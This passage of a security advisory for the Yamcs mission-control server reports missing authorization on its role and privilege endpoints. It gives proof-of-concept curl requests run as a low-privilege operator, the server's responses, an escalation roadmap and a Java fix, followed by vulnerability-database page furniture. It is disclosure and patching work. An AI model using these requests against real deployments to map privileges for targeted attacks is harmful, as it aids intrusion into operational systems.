account\n\n```cmd\ncurl -s http://localhost:8090/api/roles -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response (HTTP 200):**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/roles -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n}\n```\n\nThe endpoint returns HTTP 200 (no authorization check triggered). The empty body reflects the test environment: the `YamlAuthModule` stores role names as plain strings in `users.yaml` and does not persist `Role` objects into the security store\u0027s `Directory`. In any Yamcs instance where roles have been created through the REST API (`POST /api/roles`), this endpoint returns the full role-to-privilege mapping for every defined role.\n\n### Step 4 \u2014 Attempt to read a specific role by name\n\n```cmd\ncurl -s http://localhost:8090/api/roles/Administrator -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response:**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/roles/Administrator -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n \"code\": 404,\n \"type\": \"NotFoundException\",\n \"msg\": \"Resource not found\"\n}\n```\n\nThe 404 is a business-logic outcome (the role object does not exist in the `Directory` for this test configuration), **not** an authorization rejection. The server never checked whether the caller is permitted to read role data \u2014 it proceeded to the lookup and returned the lookup result. In a deployment where roles are registered as objects, this endpoint returns their full privilege configuration to any authenticated user.\n\n### Observed vs Expected\n\n| Request | Expected | Actual | Note |\n|---------|----------|--------|------|\n| `GET /api/users` (operator) | 403 | **403** \u2713 | Auth check present |\n| `GET /api/privileges` (operator) | 403 | **200** \u2717 | **Confirmed \u2014 full privilege list leaked** |\n| `GET /api/roles` (operator) | 403 | **200** \u2717 | Auth check absent; empty only in this test setup |\n| `GET /api/roles/Administrator` (operator) | 403 | **404** \u2717 | No auth check; 404 = role not in Directory, not access denied |\n\n---\n\n## Impact\n\n**Vulnerability type:** Broken Function Level Authorization (BFLA) / Missing Authorization (OWASP API Security Top 10 2023: API5)\n\n**Who is impacted:** \nAny deployment of Yamcs that has authentication enabled (the default for production setups) and has more than one user tier. This includes the vast majority of operational Yamcs installations in ground station, satellite operations, and mission control contexts.\n\n**Direct impact:** \n- Any authenticated user, including operators, guest accounts, or service accounts with minimal privileges, can retrieve the server\u0027s complete privilege taxonomy and all role-to-privilege mappings.\n\n**Chained impact:** \nThe disclosed privilege names and role definitions provide an attacker with a precise roadmap for privilege escalation:\n1. Identify which privilege grants the capability they need (e.g., `ChangeMissionDatabase` for RCE via the algorithm engine, `ControlAccess` for full user management).\n2. Identify which roles carry that privilege.\n3. Target the accounts that hold those roles for credential theft, session hijacking, or social engineering.\n\nIn mission-critical environments (spacecraft operations, industrial control), unauthorized privilege escalation via this information leak could have safety implications beyond IT security.\n\n---\n\n## Fix\n\nAdd `ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess)` as the first statement in each of the three affected methods, matching the pattern already used by adjacent endpoints in the same file:\n\n```java\n// IamApi.java \u2014 apply to all three methods\n\npublic void listRoles(Context ctx, Empty request, Observer\u003cListRolesResponse\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n\npublic void getRole(Context ctx, GetRoleRequest request, Observer\u003cRoleInfo\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n\npublic void listPrivileges(Context ctx, Empty request, Observer\u003cListPrivilegesResponse\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n```",
"id": "GHSA-cvw4-55pp-3hfq",
"modified": "2026-08-28T17:13:23Z",
"published": "2026-08-28T17:13:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Yamcs\u0027s Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…